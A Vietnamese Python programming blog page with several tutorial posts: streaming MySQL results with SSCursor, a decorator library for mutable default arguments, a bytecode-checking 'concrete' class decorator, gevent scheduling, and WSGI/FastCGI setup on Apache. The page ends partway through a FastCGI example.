Python cho người Việt

Python cho người Việt

Entries in the Category “Bài viết”

Truy vấn triệu bản ghi với MySQL

written by Nguyễn Thành Nam, on Jul 25, 2012 11:56:00 AM.

Trong bài viết của bạn Phạm Thị Minh Hoài, chúng ta đã được hướng dẫn cách truy vấn MySQL với DB-API của Python. Phần này chúng ta sẽ bàn về một số điểm cần chú ý nếu câu truy vấn của chúng ta trả về một lượng lớn bản ghi từ MySQL.

Hết bộ nhớ

Vấn đề

Một câu truy vấn có thể trả về một lượng dữ liệu khổng lồ. Ví dụ câu truy vấn SELECT * FROM users có thể trả về hơn chục triệu bản ghi ở các ứng dụng lớn. Trong điều kiện bình thường, có lẽ lượng bản ghi lớn như vậy sẽ khiến cho chương trình của chúng ta sử dụng hết bộ nhớ và bị buộc phải chấm dứt giữa chừng, cho dù chúng ta có sử dụng fetchone, fetchmany hay fetchall để lấy dữ liệu.

Lý do là phần giao tiếp giữa Python và MySQL mặc định sẽ lấy tất cả các bản ghi của câu truy vấn về trước, chứa chúng trong bộ nhớ, rồi sau đó trả về cho Python một bản ghi, nhiều bản ghi, hay tất cả các bản ghi đó tùy thuộc vào hàm nào được gọi.

Điều này cũng dễ hiểu vì giao thức mạng của MySQL là mô hình yêu cầu/đáp trả (request/response). Một truy vấn là một yêu cầu. Và các bản ghi của truy vấn đó là một đáp trả. Cho nên trình điều khiển (driver) cần phải đọc hết toàn bộ đáp trả để kết thúc chu trình yêu cầu/đáp trả trước khi trả lời các lời gọi hàm fetchone, fetchmany hay fetchall. Nói một cách khác, các hàm fetchone hay fetchmany trả về kết quả đã có trong bộ nhớ.

Đó cũng chính là lý do vì sao chúng ta có thể gọi fetchone hay fetchmany nhiều lần. Các hàm này không tạo một chu trình yêu cầu/đáp trả mới mà chỉ đơn giản là tiếp tục trả về các bản ghi đã chứa trong bộ nhớ.

Cách khắc phục

Cách khắc phục là sử dụng SSCursor khi tạo con trỏ từ kết nối MySQL. Lớp SSCursor nằm trong mô-đun MySQLdb.

conn = MySQLdb.connect(...)
cursor = MySQLdb.SSCursor(conn)

Sau đó khi gọi fetchone hoặc fetchmany thì trình điều khiển sẽ không đọc toàn bộ đáp trả vào bộ nhớ nữa mà sẽ chỉ đọc vừa đủ để trả về bấy nhiêu bản ghi cho ta.

Lưu ý

Khi sử dụng SSCursor, ta nhất định phải đảm bảo chu trình yêu cầu/đáp trả được hoàn tất. Ví dụ câu truy vấn trả về 10 bản ghi, thì ta phải đảm bảo đọc hết 10 bản ghi này. Nếu ta chỉ gọi fetchone 5 lần, thì sẽ còn 5 bản ghi vẫn chưa được đọc hết, và do đó ta sẽ không thể gửi truy vấn khác trong cùng kết nối hiện tại.

SSCursor không giữ kết quả trong bộ nhớ nên ta sẽ không thể di chuyển con trỏ tới, hoặc lùi để truy xuất bản ghi ta cần. Điều duy nhất chúng ta có thể làm với SSCursor là đọc tuần tự tất cả các bản ghi.

Hết giờ (timeout)

Vấn đề

Với SSCursor ta có thể sẽ viết mã như sau:

row = cursor.fetchone()
while row:
    # xử lý row
    row = cursor.fetchone()

Đoạn mã này đôi khi sẽ gây ra lỗi 2013 (Lost connection to MySQL server during query).

Lý do là việc xử lý từng bản ghi sẽ làm ta tốn thời gian, và ta sẽ không thể đọc đáp trả đủ nhanh, khiến cho máy chủ MySQL phải hoãn việc gửi tiếp các bản ghi về cho ta. Máy chủ MySQL chỉ có thể hoãn việc gửi thông tin trong một thời gian ngắn. Quá thời gian này, máy chủ sẽ tự ngắt kết nối.

Cách khắc phục

Tốt nhất là chúng ta sử dụng SSCursor để đọc tất cả các bản ghi từ máy chủ ở xa và ghi chúng vào một tập tin trên máy hiện tại. Sau đó ta đọc lại từ tập tin này và xử lý từng bản ghi đã lưu. Khi làm như vậy, chúng ta tránh được lỗi hết bộ nhớ đã đề cập ở trên, và hy vọng rằng việc ghi bản tin ra dĩa xảy ra đủ nhanh để ta có thể đọc bản ghi khác gần như ngay lập tức, tránh được lỗi hết giờ.

Lưu ý

Với việc ghi bản tin ra dĩa (hoặc một nơi nội bộ nào khác), chúng ta cần đảm bảo rằng nơi đó có đủ chỗ để lưu toàn bộ các bản ghi đọc được.

Tham số tự động

written by Nguyễn Thành Nam, on Jul 23, 2012 8:41:30 AM.

Tham số mặc định

Python cho phép chúng ta khai báo hàm với tham số mặc định như sau:

def function(arg_1, arg_2={}):
    arg_2[arg_1] = True
    print (arg_2)

Với khai báo hàm trên, tham số arg_2* trở thành một tham số mặc định và sẽ nhận giá trị là một từ điển rỗng. Khi gọi hàm function, chúng ta có thể không cung cấp giá trị cho tham số arg_2. Ví dụ khi thực hiện lệnh gọi sau, trên màn hình sẽ xuất hiện chuỗi {1: True}:

function(1)   # in ra '{1: True}'

Nếu tiếp tục gọi một lần tương tự, chúng ta nhận được một kết quả ngoài mong đợi.

function(2)  # in ra '{1: True, 2: True}'

Lần này, thay vì chỉ in ra từ điển với một khóa {2: True}, ta nhận được cả hai giá trị.

Ý nghĩa của tham số mặc định

Lý giải điều này không khó. Trong mục 4.7.1 của Bài chỉ dẫn Python có nêu:

Giá trị mặc định được định giá tại nơi hàm được định nghĩa.

Điều này dẫn đến hệ quả là:

Giá trị mặc định chỉ được định giá một lần. Điểm này quan trọng khi [giá trị] mặc định là một giá trị khả biến như danh sách, từ điển hoặc các đối tượng của hầu hết mọi lớp.

Do đó, với ví dụ của hàm function ở trên, tham số arg_2 sẽ nhận giá trị mặc định là từ điển được tạo ra ngay khi dòng lệnh def function(...) được dịch và thực thi. Trong các lần gọi lệnh function sau đó, nếu không xác định tham số cho arg_2, thì arg_2 sẽ chỉ đến cùng một từ điển này. Và vì thế mọi tác động đến arg_2 đều tác động đến cùng một đối tượng từ điển.

Thông thường, cách giải quyết vấn đề này sẽ bao gồm:

  1. Xác định giá trị mặc định là None ở câu lệnh def
  2. Khởi tạo giá trị mặc định mới và gán nó vào biến ở trong thân hàm nếu giá trị hiện tại là None

Hàm function sẽ được sửa lại như sau:

def function(arg_1, arg_2=None):
    if arg_2 is None:  # kiểm tra arg_2 có phải None không
        arg_2 = {}     # gán đối tượng từ điển mới vào arg_2
    arg_2[arg_1] = True
    print (arg_2)

Mô-đun auto_argument

Để đơn giản hóa và tránh lập đi lập lại dòng lệnh if, tôi đã phát triển một thư viện nhỏ đặt tên là auto_argument (thông số tự động).

Với thư viện này, chúng ta có thể viết lại hàm function như sau:

@callable_auto_argument([('arg_2', None, dict)])
def function(arg_1, arg_2=None):
    arg_2[arg_1] = True
    print (arg_2)

Điểm khác biệt chính là ở việc sử dụng bộ trang hoàng callable_auto_argument để tự động thay thế tham số arg_2 với giá trị trả về từ lệnh gọi dict().

Bộ trang hoàng auto_argument (lớp cha của callable_auto_argument) nhận một dãy các bộ 3 (tên tham số, giá trị dấu, giá trị thay thế) (argument name, marker, value). Khi tham số có giá trị là giá trị dấu thì giá trị của tham số sẽ được thay bằng giá trị tạo ra từ giá trị thay thế. callable_auto_argument tạo ra giá trị thay thế bằng cách gọi hàm giá trị thay thế. Người dùng cũng có thể tạo lớp con của các bộ trang hoàng này để tùy chỉnh giá trị thay thế riêng hoặc tránh phải lập lại giá trị dấu. Xem qua hàm test_subclass và lớp auto_dict_argument trong mã nguồn.

Mã nguồn của các bộ trang hoàng này được liệt kê ở ngay dưới. Mã nguồn này được cung cấp theo điều khoản bản quyền MIT. Người dùng có thể tùy ý sử dụng, hay sửa đổi mã nguồn cho hợp với nhu cầu.

'''Automatically replace a default argument with some other (potentially
dynamic) value.

The default argument is usually guarded like this::

    def func(arg=None):
        if arg is None:
            arg = dict()
        // use arg

With decorators provided in this module, one can write::

    __marker = object()

    @callable_auto_argument([('arg', __marker, dict)])
    def func(arg=__marker):
        // use arg

See class:`callable_auto_argument`.

Also, the standard Python behavior could be thought as::

    __marker = object()

    @passthru_auto_argument([('arg', __marker, {})])
    def func(arg=__marker):
        // ...

See class:`passthru_auto_argument`.

These classes can be used by themselves or serve as base classes for more
customizations. For example, to eliminate repeated typings, one can subclass
``callable_auto_argument`` like this::

    class auto_dict_argument(callable_auto_argument):

        def __init__(self, *names):
            names_markers_values = []
            for name in names:
                names_markers_values.append((name, None, dict))
            super(auto_dict_argument, self).__init__(names_markers_values)

And then apply this on methods like this::

    @auto_dict_argument('arg_1', 'arg_2', 'arg_3')
    def method(arg_1=None, arg_2=None, arg_3=None):
        # arg_1, arg_2, arg_3 are new dicts unless specified otherwise
        # and these lines are no longer required
        # if arg_1 is None: arg_1 = {}
        # if arg_2 is None: arg_2 = {}
        # if arg_3 is None: arg_3 = {}

'''


import unittest


class auto_argument(object):
    '''The base class for automatic argument.

    Subclasses must implement method:`create` to create appropriate value for
    the argument.

    '''

    def __init__(self, names_markers_values):
        '''Construct an auto argument decorator with a collection of variable
        names, their markers, and their supposed values.

        The __supposed__ value objects are used in method:`create` to produce
        final value.

        Args:

            names_markers_values (collection of 3-tuples): A collection of
                (string, object, object) tuples specifying (in that order) the
                names, the marker objects, and the supposed value objects

        '''

        self.names_markers_values = names_markers_values

    def create(self, name, current_value, value):
        '''Return a value based for the named argument and its current value.

        This final value will be used to replace what is currently passed in
        the invocation.

        Subclasses MUST override this method to provide more meaningful
        behavior.

        Args:

            name (string): The argument's name
            current_value: Its current value in this invocation
            value: The supposed value passed in during construction time

        Returns:

            Final value for this argument

        '''

        raise NotImplementedError()

    def __call__(self, orig_func):
        def new_func(*args, **kw_args):
            for name, marker, value in self.names_markers_values:
                # check kw_args first
                try:
                    if kw_args[name] is marker:
                        kw_args[name] = self.create(name, kw_args[name], value)
                except KeyError:
                    # ignored
                    pass
                else:
                    continue

                # then check args
                # we need to instropect the arg names from orig_func
                co_obj = orig_func.func_code
                # number of required arguments
                nr_required = (co_obj.co_argcount -
                                    len(orig_func.func_defaults))
                for i in range(nr_required, co_obj.co_argcount):
                    if co_obj.co_varnames[i] != name:
                        continue
                    # is it supplied in args?
                    if i < len(args):
                        if args[i] is marker:
                            if isinstance(args, tuple):
                                args = list(args)
                            args[i] = self.create(name, args[i], value)
                    # it is not, so, check defaults
                    else:
                        default = orig_func.func_defaults[i - nr_required]
                        if default is marker:
                            kw_args[name] = self.create(name, default, value)

            # invoke orig_func with new args
            return orig_func(*args, **kw_args)

        return new_func


class callable_auto_argument(auto_argument):

    def create(self, name, current_value, value):
        # call on value
        return value()


class passthru_auto_argument(auto_argument):

    def create(self, name, current_value, value):
        # just return it directly
        return value


class AutoArgumentTest(unittest.TestCase):

    def test_keyword_1(self):

        marker = 'replace_me'

        @passthru_auto_argument([('arg_name', marker, 'done')])
        def orig_func_0(arg_name=marker):
            return arg_name

        self.assertEqual('done', orig_func_0())
        self.assertEqual('done', orig_func_0(marker))
        self.assertEqual('not_replace', orig_func_0('not_replace'))
        self.assertEqual('done', orig_func_0(arg_name=marker))
        self.assertEqual('not_replace', orig_func_0(arg_name='not_replace'))

        @passthru_auto_argument([('arg_name', 'replace_me', 'done')])
        def orig_func_1(junk, arg_name='replace_me'):
            return junk, arg_name

        self.assertEqual(('ignore', 'done'), orig_func_1('ignore'))
        self.assertEqual(('ignore', 'done'),
                orig_func_1('ignore', marker))
        self.assertEqual(('ignore', 'not_replace'),
                orig_func_1('ignore', 'not_replace'))
        self.assertEqual(('ignore', 'done'),
                orig_func_1('ignore', arg_name=marker))
        self.assertEqual(('ignore', 'not_replace'),
                orig_func_1('ignore', arg_name='not_replace'))

    def test_keyword_2(self):

        marker_1 = 'replace_me'
        marker_2 = 'replace_too'

        @passthru_auto_argument([('arg_1', marker_1, 'done'),
                     ('arg_2', marker_2, 'enod')])
        def orig_func_0(arg_1=marker_1, arg_2=marker_2):
            return arg_1, arg_2

        self.assertEqual(('done', 'enod'), orig_func_0())
        self.assertEqual(('not_replace', 'enod'), orig_func_0('not_replace'))
        self.assertEqual(('done', 'not'), orig_func_0(marker_1, 'not'))
        self.assertEqual(('done', 'enod'), orig_func_0(marker_1, marker_2))
        self.assertEqual(('not_1', 'not_2'), orig_func_0('not_1', 'not_2'))

        @passthru_auto_argument([('arg_1', marker_1, 'done'),
                     ('arg_2', marker_2, 'enod')])
        def orig_func_1(junk, arg_1=marker_1, arg_2=marker_2):
            return junk, arg_1, arg_2

        self.assertEqual(('.', 'done', 'enod'), orig_func_1('.'))
        self.assertEqual(('.', 'not_replace', 'enod'),
                orig_func_1('.', 'not_replace'))
        self.assertEqual(('.', 'done', 'not'),
                orig_func_1('.', marker_1, 'not'))
        self.assertEqual(('.', 'done', 'enod'),
                orig_func_1('.', marker_1, marker_2))
        self.assertEqual(('.', 'not_1', 'not_2'),
                orig_func_1('.', 'not_1', 'not_2'))

    def test_subclass(self):

        class auto_dict_argument(callable_auto_argument):

            def __init__(self, *names):
                names_markers_values = []
                for name in names:
                    names_markers_values.append((name, None, dict))
                super(auto_dict_argument, self).__init__(names_markers_values)

        @auto_dict_argument('arg_1', 'arg_2')
        def test_func(arg_1=None, arg_2=None):
            arg_1['1'] = 'arg_1'
            arg_2['2'] = 'arg_2'
            return (arg_1, arg_2)

        self.assertEqual(({'1': 'arg_1'}, {'2': 'arg_2'}), test_func())
        arg_1, arg_2 = test_func()
        self.assertNotEqual(id(arg_1), id(arg_2))


if __name__ == '__main__':
    unittest.main()

Lập trình giao diện trong Python

written by Nguyễn Thành Nam, on Jul 18, 2012 1:06:00 PM.

Bài viết này bàn về hướng lập trình giao diện (programming to the interface) thay vì giao diện người dùng, hay giao diện đồ họa (user interface, graphical interface).

Lập trình giao diện

Lập trình giao diện (giao tiếp) là một trong hai nguyên tắc cơ bản được nhắc đến trong quyển sách kinh điển Design Patterns. Lập trình giao diện đặt trọng tâm vào việc tạo ra một hợp đồng (contract) chắc chắn giữa hai bên người dùng (consumer) và người cung cấp (producer):

  1. Người dùng: là bên sử dụng các lớp, hàm, hoặc mã mà người cung cấp tạo ra
  2. Người cung cấp: là bên tạo ra thư viện mã
  3. Hợp đồng: là các kiến thức chung mà cả người dùng và người cung cấp đều hiểu và tuân theo

Hợp đồng xác định các lớp cơ bản, và các phương thức của các lớp đó. Vì đây là hợp đồng được cả hai bên tuân theo nên ý nghĩa của các lớp, cũng như cách hoạt động của các phương thức phải được định nghĩa một cách tường minh và chuẩn xác. Người dùng sẽ dựa theo hợp đồng này và sử dụng các lớp trong đó cho mục đích riêng của họ, trong khi người cung cấp có thể thay đổi cách hiện thực hợp đồng một cách khả chuyển miễn sao vẫn đảm bảo được yêu cầu của hợp đồng.

Ví dụ: hợp đồng nêu ra là hàm func nhận vào một số nguyên, và trả về tổng của số nguyên đó với 2. Hợp đồng này rõ ràng ví nó xác định tên hàm (func), giá trị đầu vào (một số nguyên) và giá trị đầu ra (tổng của số nguyên nhập vào với 2). Người sử dụng, khi cần tính tổng của 5 và 2, có thể gọi func(5). Người cung cấp có thể cài đặt def func(i): return i + 2 hoặc func = lambda i: i + 2 hoặc một cách nào khác miễn sao phù hợp với câu chữ của hợp đồng.

Theo quan điểm này, người sử dụng và người cung cấp giao tiếp với nhau thông qua một môi trường chung, một giao diện chung. Người sử dụng dựa trên giao diện này để yêu cầu dịch vụ từ người cung cấp. Còn người cung cấp dựa trên giao diện này để đáp ứng đúng yêu cầu người sử dụng.

Đối với các ngôn ngữ lập trình hướng đối tượng, chúng ta hay gặp các thuật ngữ như giao diện (interface), lớp trừu tượng (abstract class) và lớp cụ thể (concrete class). Giao diện mang tính chất của một hợp đồng, hoàn toàn không có bất kỳ một hiện thực cụ thể nào. Lớp cụ thể là một hiện thực đầy đủ của một giao diện. Và lớp trừu tượng là một hiện thực chưa đầy đủ của một giao diện.

Lập trình giao diện trong Python

Python không có sự phân biệt giữa ba khái niệm này. Tuy nhiên, trong thực tế, chúng ta hay viết mã tương tự như sau để mô phỏng một giao diện.

class Interface(object):
    def method_1(self):
        raise NotImplementedError()
    def method_2(self):
        raise NotImplementedError()

Các phương thức trong lớp Interface chỉ có một câu lệnh duy nhất là raise NotImplementedError() để cố tình gây ra biệt lệ khi chúng được gọi.

Một lớp trừu tượng có thể được mô phỏng như sau:

class AbstractClass(Interface):
    def method_1(self):
        # làm một việc gì đó
        pass

Lớp AbstractClass là lớp con của Interface và hiện thực hóa phương thức method_1 nhưng vẫn để phương thức method_2 lơ lửng.

Cuối cùng, một lớp cụ thể là một lớp con của Interface hoặc AbstractClass nhưng hiện thực hóa tất cả các phương thức.

class ConcreteClass(AbstractClass):
    def method_2(self):
        # làm một việc gì đó
        pass

Điểm đáng lưu ý là tất cả các lớp này đều hợp lệ trong Python. Chúng ta hoàn toàn có thể khởi tạo một đối tượng của một trong ba lớp này và chỉ đến khi gọi một hàm nào đó thì biệt lệ mới xảy ra. Nói cách khác, biệt lệ NotImplementedError chỉ được phát hiện khi chạy, trong khi đáng lẽ nó đã phải được phát hiện ngay khi dịch. Điều này làm mất giá trị của một hợp đồng, và hạn chế việc áp dụng hướng lập trình giao diện trong Python.

Để khác phục điểm yếu này, tôi đã viết một bộ trang hoàng (decorator) nhỏ để bắt lỗi ngay khi một lớp cụ thể được định nghĩa thiếu. Định nghĩa thiếu ở đây mang ý nghĩa rằng lớp cụ thể đã quên định nghĩa một phương thức nào đó.

'''Set of (class) decorators to help with interface programming.

Examples::

    @concrete
    class subclass(parent):
        ...

Released to the public domain.

Nam T. Nguyen, 2012

'''

import dis
import types
import unittest


def concrete(orig_class):
    '''A decorator to ensure that a concrete class has no un-implemented
    methods.

    An un-implemented method is defined similarly to::

        def method(...):
            raise NotImplementedError()

    This, when translated to bytecode, looks like::

        LOAD_GLOBAL       0 (NotImplementedError)
        CALL_FUNCTION     1
        RAISE_VARARGS     1
        ...

    Or when ``raise NotImplementedError``::

        LOAD_GLOBAL       0 (NotImplementedError)
        RAISE_VARARGS     1
        ...

    The check here is for such pattern.

    '''

    for name in dir(orig_class):
        func = getattr(orig_class, name)
        # correct type?
        if type(func) not in (types.FunctionType, types.MethodType):
            continue
        # check if first name is NotImplementedError
        if len(func.func_code.co_names) < 1 or \
                func.func_code.co_names[0] != 'NotImplementedError':
            continue
        # and RAISE_VARARGS somewhere after that
        for position in (3, 6):
            if len(func.func_code.co_code) < position:
                continue
            opcode = ord(func.func_code.co_code[position])
            if dis.opname[opcode] == 'RAISE_VARARGS':
                raise SyntaxError('Function %s.%s must be implemented.' % (
                        orig_class.__name__, func.func_name))

    return orig_class


class ConcreteTest(unittest.TestCase):

    def test_raise(self):
        class test1:
            def method(self):
                raise NotImplementedError
        self.assertRaises(SyntaxError, concrete, test1)

        class test2:
            def method(self):
                raise NotImplementedError()
        self.assertRaises(SyntaxError, concrete, test2)

    def test_not_raise(self):
        class test:
            def method(self):
                return NotImplementedError()
        concrete(test)

    def test_subclass(self):
        class parent(object):
            def override_me(self):
                raise NotImplementedError()
        class test(parent):
            def leave_it(self):
                pass
        self.assertRaises(SyntaxError, concrete, test)


if __name__ == '__main__':
    unittest.main()

Để sử dụng bộ trang hoàng concrete này, ta sẽ sửa lại lớp ConcreteClass như sau:

@concrete
class ConcreteClass(AbstractClass):
    # như trên

Nếu ConcreteClass quên hiện thực hóa một phương thức nào đó, Python sẽ thông báo SyntaxError ngay sau khi ConcreteClass được định nghĩa.

Tóm tắt

Lập trình giao diện giúp chúng ta tách biệt hai yếu tố là cái gì, và như thế nào. Người sử dụng quan tâm nhiều đến câu hỏi cái gì được thực hiện hơn là làm sao để thực hiện chúng. Trong khi người cung cấp có thể dễ dàng thay đổi cách thực hiện miễn sao vẫn đảm bảo câu chữ của hợp đồng.

Python không có sẵn cơ chế giao diện và lớp trừu tượng như các ngôn ngữ lập trình khác. Chúng ta phải sử dụng bộ trang hoàng concrete để bắt lỗi định nghĩa thiếu.

Hy vọng bài viết ngắn này sẽ đem lại cho bạn đọc một mẹo lập trình giao diện hữu ích trong Python.

Lập lịch gọi hàm với Gevent

written by Nguyễn Thành Nam, on Aug 22, 2011 2:29:00 PM.

Đôi khi chúng ta cần một cách gì đó để lập lịch gọi hàm tương tự như công cụ cron trong các hệ Unix. Nếu chúng ta may mắn đang làm việc với Gevent sẵn rồi thì hai dòng sau là một cách đơn giản để lập lịch.

def schedule(delay, func, *args, **kw_args):
    gevent.spawn_later(0, func, *args, **kw_args)
    gevent.spawn_later(delay, schedule, delay, func, *args, **kw_args)

Ý tưởng đằng sau hai dòng lệnh này là chúng ta tận dụng sẵn vòng lặp sự kiện (event loop) của Gevent để cài hàm cần được thực thi vào. Do đó, chúng ta sẽ đỡ được việc sử dụng vòng lặp với sleep. Dòng thứ hai có tác dụng như một lệnh gọi đệ quy đuôi (tail recursion), nhưng không tốn bộ nhớ ngăn xếp (stack memory).

Trong trường hợp chúng ta không sử dụng Gevent thì gói apscheduler là một lựa chọn đáng tham khảo khác. Gói này cung cấp dịch vụ lập lịch tương tự như Quartz trong thế giới Java.

Lập trình web với Python (7)

written by Nguyễn Thành Nam, on Aug 11, 2011 3:00:00 PM.

Trong bài cuối của loạt bài Lập trình web với Python, chúng ta sẽ bàn đến chuẩn WSGI (Web Server Gateway Interface).

WSGI, khác với HTTP, CGI và FCGI, không phải là chuẩn giao thức liên lạc (communication protocol) mà là chuẩn giao tiếp (standard interface) giữa ứng dụng máy chủ (server) và các khung xương (framework) hay các ứng dụng web (web application). Hình tượng hóa mà nói, WSGI nằm phía trên HTTP/CGI/FCGI và phía dưới ứng dụng thật sự. Lớp WSGI giúp lớp ứng dụng trao đổi với lớp máy chủ theo một cách khả chuyển, tức là một ứng dụng WSGI có thể chạy như nhau trên máy chủ khác nhau như Apache, NGINX, hay Lighttpd, sử dụng các giao thức khác nhau như CGI, FCGI, SCGI, hay AJP. Nói một cách khác, WSGI "che" cách liên lạc qua mạng và tạo điều kiện cho ứng dụng web tập trung vào việc xử lý các vấn đề quan trọng hơn.

Một ứng dụng WSGI là một đối tượng gọi được (callable object). Một đối tượng gọi được có thể là một hàm, một phương thức, hoặc một đối tượng có hàm call. Đối tượng gọi được này phải nhận hai tham số là environstart_response. Tham số environ là một từ điển với các khóa theo chuẩn CGI và một số khóa đặc biệt mà máy chủ WSGI có thể truyền cho ứng dụng. start_response là một đối tượng gọi được do máy chủ WSGI cung cấp cho ứng dụng để ứng dụng bắt đầu việc truyền dữ liệu cho máy chủ WSGI. start_response nhận hai tham số là dòng trạng thái trả lời (status string) và một danh sách bộ-2 (list of 2-tuple) các đầu mục (header), mỗi bộ-2 bao gồm tên và giá trị của đầu mục. Giá trị trả về của ứng dụng WSGI là một bộ khả lặp (iterable) sinh ra nội dung sẽ được máy chủ WSGI truyền lại cho máy chủ HTTP hoặc trình duyệt.

Ví dụ:

def simple_app(environ, start_response):
    """Simplest possible application object"""
    status = '200 OK'
    response_headers = [('Content-type', 'text/plain')]
    start_response(status, response_headers)
    return ['Hello world!\n']

Đầu tiên, ta thiết lập chuỗi trạng thái là 200 OK, xác định đầu mục Content-typetext/plain rồi gọi start_response với các thông tin như vậy. Giá trị trả về là một danh sách với phần tử duy nhất là chuỗi Hello world!\n. Ta cũng có thể trả về chuỗi Hello world! trực tiếp mà không cần đặt nó vào trong một danh sách vì bản thân một chuỗi cũng là một đối tượng khả lặp. Tuy nhiên, làm như vậy không được khuyến khích vì khi đó máy chủ WSGI sẽ phải làm việc nhiều hơn, lặp qua từng ký tự H, e, l, l, o... thay vì lấy thẳng chuỗi trả lời.

Chúng ta sẽ viết lại ứng dụng đếm số lần truy cập như trong kỳ trước theo dạng một ứng dụng WSGI. Chúng ta sẽ tạo tập tin C:\Program Files\Apache Software Foundation\Apache2.2\fcgi-bin\hello2.py với nội dung như sau:

#!C:\Python26\python.exe
from flup.server import fcgi

class HelloApp(object):

	def __init__(self):
		self.count = 0

	def __call__(self, environ, start_response):
		self.count += 1
		start_response('200 OK', [('Content-type', 'text/plain')])
		return ['Hello WSGI World %d' % self.count]

if __name__ == "__main__":
	webapp = HelloApp()
	fcgi.WSGIServer(webapp, bindAddress=("localhost", 8888)).run()

Thực thi ứng dụng này với lệnh python hello2.py, chạy máy chủ Apache với các thiết lập đã làm trong bài viết kỳ trước, và truy cập vào địa chỉ http://localhost/fcgi-bin/hello.py thì chúng ta sẽ thấy hình như sau:

wsgi1.png

Khi làm tươi trình duyệt thì chúng ta nhận được hình sau:

wsgi2.png

So sánh ứng dụng viết theo WSGI và ứng dụng viết theo các giao thức CGI, hay FCGI ta thấy rõ rằng ứng dụng WSGI không cần quan tâm đến việc dữ liệu sẽ được truyền cho trình duyệt bằng cách nào. Ứng dụng WSGI chỉ quan tâm đến việc tạo ra dữ liệu gì và đẩy chỗ dữ liệu đó cho lớp WSGI bên dưới. Lớp này sẽ tự động thực hiện việc truyền tới trình duyệt theo cách tốt nhất có thể.

Tuy nhiên, ứng dụng WSGI cũng phải biết rõ cách hoạt động của máy chủ WSGI. Ví dụ, một ứng dụng WSGI chạy trên máy chủ WSGI theo mô hình CGI thì sẽ không thể trông chờ đến việc sử dụng lại biến toàn cục vì mỗi yêu cầu được một tiến trình riêng xử lý. Đồng thời ứng dụng WSGI cũng phải đảm bảo rằng các chuỗi trả về phải là chuỗi byte (byte string) và không được sử dụng chuỗi unicode (unicode string). Lý do là vì giao thức HTTP không hiểu unicode. Do đó, tốt nhất là ứng dụng WSGI nên gọi encode trên các chuỗi unicode để chuyển các chuỗi unicode thành các chuỗi byte trước khi đưa xuống cho máy chủ WSGI.

Một điểm hay của giao tiếp WSGI là một ứng dụng WSGI có thể gói (wrap) một ứng dụng WSGI khác bên trong. Điều này cho phép chúng ta tạo ra các ứng dụng WSGI hoạt động như các phần giữa (middleware), hoặc bộ lọc (filter).

Ví dụ:

def simple_app(environ, start_response):
    """Simplest possible application object"""
    status = '200 OK'
    response_headers = [('Content-type', 'text/plain')]
    start_response(status, response_headers)
    return ['Hello world!\n']

def real_app(environ, start_response):
    r = simple_app(environ, start_response)
    return ['Tag!\n'] + r

Với đoạn mã trên, ứng dụng real_app đã gói ứng dụng simple_app và chèn vào một chuỗi Tag!\n phía trước những gì mà simple_app gửi về. Đây là một cách để tạo nên các ứng dụng web lớn từ việc ghép các ứng dụng web nhỏ lại với nhau.

Chúng ta dừng loạt bài Lập trình web với Python tại đây. Sau 7 bài viết ngắn gọn (nhưng diễn ra trong một khoảng thời gian dài), chúng ta đã xem xét qua việc cài đặt Apache, và Python, rồi các giao thức nền tảng như HTTP, CGI. Từ đó, chúng ta bàn đến các giao thức hiện đại hơn, có một số ưu điểm tốt như FCGI với ví dụ đếm số lần truy cập. Cuối cùng chúng ta dừng lại với một thảo luận ngắn về giao tiếp WSGI, là giao tiếp phổ thông nhất để viết ứng dụng web trong thế giới Python.

Tôi hy vọng sẽ gặp bạn đọc trong các bài viết khác. Để thảo luận về loạt bài này, bạn có thể sử dụng diễn đàn http://vithon.org/forum/Forum/show/7/Ung_dung_mang_web.html.

Lập trình web với Python (6)

written by Nguyễn Thành Nam, on Jul 1, 2011 5:05:00 PM.

Phần trước chúng ta đã xem xét mô hình hoạt động của một ứng dụng FCGI. Trong phần này chúng ta sẽ viết thử một chương trình FCGI như đã đề cập.

Trước tiên, chúng ta sẽ cần cài đặt thư viện flup của tác giả Allan Saddi. Làm việc này khá đơn giản, chúng ta chỉ việc tải tập tin ez_setup.py từ địa chỉ http://peak.telecommunity.com/dist/ez_setup.py về một nơi nào đó trên máy, ví dụ như C:\Python26\Scripts. Sau đó chúng ta sẽ gọi lệnh ở màn hình DOS như sau:

C:\>c:\Python26\scripts\ez_setup.py flup

Gói flup sẽ được cài đặt trong C:\Python26\lib\site-packages.

Ở bước 2, chúng ta sẽ tải về tập tin http://www.fastcgi.com/dist/mod_fastcgi-2.4.6-AP22.dll, đổi tên nó thành mod_fastcgi.dll và đặt nó trong C:\Program Files\Apache Software Foundation\Apache2.2\modules.

Kế tiếp bước 3, chúng ta sẽ cần cấu hình Apache thành một FCGI client. Chúng ta cần sửa tập tin httpd.conf để thêm vào các dòng sau ở dưới cùng:

LoadModule fastcgi_module modules/mod_fastcgi.dll
Alias "/fcgi-bin/hello.py" "C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/hello.py"
<Directory "C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/">
    Order allow,deny
    Allow from all
</Directory>
FastCgiExternalServer "C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/hello.py" -host localhost:8888

Dòng LoadModule bảo Apache nạp mô-đun mod_fastcgi mà chúng ta vừa làm ở bước 2. Dòng Alias cho Apache biết rằng mọi yêu cầu đến đường dẫn (URI) /fcgi-bin/hello.py thật chất là đến tập tin C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/hello.py. Chúng ta cần dòng này bởi vì hello.py sẽ được tạo ở ngoài DocumentRoot. Cũng chính vì thư mục fcgi-bin không nằm trong DocumentRoot nên chúng ta cũng cần lệnh Directory để cho phép Apache phục những yêu cầu truy cập vào thư mục đó. Và cuối cùng lệnh FastCgiExternalServer bảo Apache rằng tập tin hello.py thật chất là một ứng dụng FCGI đã được chạy sẵn tại địa chỉ localhost ở cổng 8888. Chính câu lệnh này sẽ chuyển Apache thành một FCGI client, chuyển tiếp yêu cầu từ trình duyệt đến FCGI server do chúng ta phát triển. Vì chúng ta đang cài đặt trên Windows nên chúng ta chỉ có một lựa chọn là sử dụng FCGI theo chế độ trao đổi qua socket, do đó chúng ta phải dùng FastCgiExternalServer.

Bước 4 là tạo tập tin hello.py trong thư mục C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin. Nếu chưa có thư mục này, bạn đọc hãy tự tạo ra nó. Tập tin hello.py sẽ có nội dung như sau:

#!C:\Python26\python.exe
from flup.server import fcgi

count = 0

class HelloApp(fcgi.WSGIServer):

	def handler(self, req):
		global count
		count += 1
		req.stdout.write('Content-Type: text/plain\n')
		req.stdout.write('\n')
